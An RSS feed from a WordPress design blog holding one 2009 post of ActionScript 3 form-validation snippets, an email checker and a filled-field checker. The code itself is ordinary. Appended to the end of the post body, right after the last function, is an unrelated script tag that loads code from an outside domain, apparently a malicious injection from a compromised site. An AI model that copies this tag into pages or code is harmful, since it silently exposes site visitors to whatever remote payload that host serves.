<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; Form Validation</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/form-validation/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>AS3 Form Validation &#8211; email address and filled field</title>
		<link>http://blog.thornyrabbit.com/2009/04/as3-form-validation-email-address-and-filled-field/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/as3-form-validation-email-address-and-filled-field/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:16:59 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Form Validation]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=203</guid>
		<description><![CDATA[Checking if email address is valid and that fields are filled in (and not with spaces).]]></description>
			<content:encoded><![CDATA[<p><strong>Check for a valid email address in a text input field by checking for @, fullstop and positioning of these:</strong></p>
<p>private function checkEmail(whichObj:String):Boolean{</p>
<p>//check for @</p>
<p>//check for .</p>
<p>//check @ preceeds last dot</p>
<p>//check that @ is not first</p>
<p>//email cannot have any spaces</p>
<p>if(whichObj.indexOf(&#8220;@&#8221;) == -1 || whichObj.indexOf(&#8220;@&#8221;) == 0){ //not present or first</p>
<p>emailBool = false;</p>
<p>}else{</p>
<p>emailBool = true;//if @ exists check for dot</p>
<p>if(whichObj.lastIndexOf(&#8220;.&#8221;) == -1 || whichObj.lastIndexOf(&#8220;.&#8221;) == whichObj.length-1){ //not present or at very end</p>
<p>emailBool = false;</p>
<p>}else{</p>
<p>emailBool = true;//if both are true check @ preceeds dot</p>
<p>if(whichObj.lastIndexOf(&#8220;.&#8221;) &lt; whichObj.indexOf(&#8220;@&#8221;)  || whichObj.lastIndexOf(&#8220;.&#8221;) == whichObj.indexOf(&#8220;@&#8221;)+1 ){//not before and not directly after</p>
<p>emailBool = false;</p>
<p>}else{</p>
<p>emailBool = true;</p>
<p>//lastly check it has NO spaces in it</p>
<p>for(var i:Number = 0 ; i &lt; whichObj.length ; i++){ </p>
<p>if(whichObj.charAt(i) == &#8221; &#8220;){ //if the character is a space</p>
<p>emailBool = false;</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>trace(&#8220;emailBool: &#8221; + emailBool);</p>
<p>return emailBool;</p>
<p>}//checkEmail</p>
<p>&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Check a text input field is filled in and it has NO spaces:</strong></p>
<p>private function doFormCheck(event:MouseEvent):void{</p>
<p>checkName(form1_mc.name_txt.text);</p>
<p>trace(stringBool);</p>
<p>}//doFormCheck</p>
<p><span> </span></p>
<p>private function checkName(whichObj:String):Boolean{</p>
<p>//check that its not empty only AND that its not just spaces</p>
<p>if(whichObj != &#8220;&#8221;){</p>
<p>//not empty so </p>
<p>stringBool = true;</p>
<p>for(var i:Number = 0 ; i &lt; whichObj.length ; i++){</p>
<p>if(whichObj.charAt(i) != &#8221; &#8220;){ //if the character is not a space</p>
<p>stringBool = true;</p>
<p>return stringBool;//quit checking</p>
<p>}else{//else it is a space</p>
<p>stringBool = false;</p>
<p>return stringBool;</p>
<p>}</p>
<p>}//for</p>
<p>return stringBool;</p>
<p>}else{</p>
<p>stringBool = false; //else it is empty</p>
<p>return stringBool;</p>
<p>}//if</p>
<p>}//checkName<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/as3-form-validation-email-address-and-filled-field/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
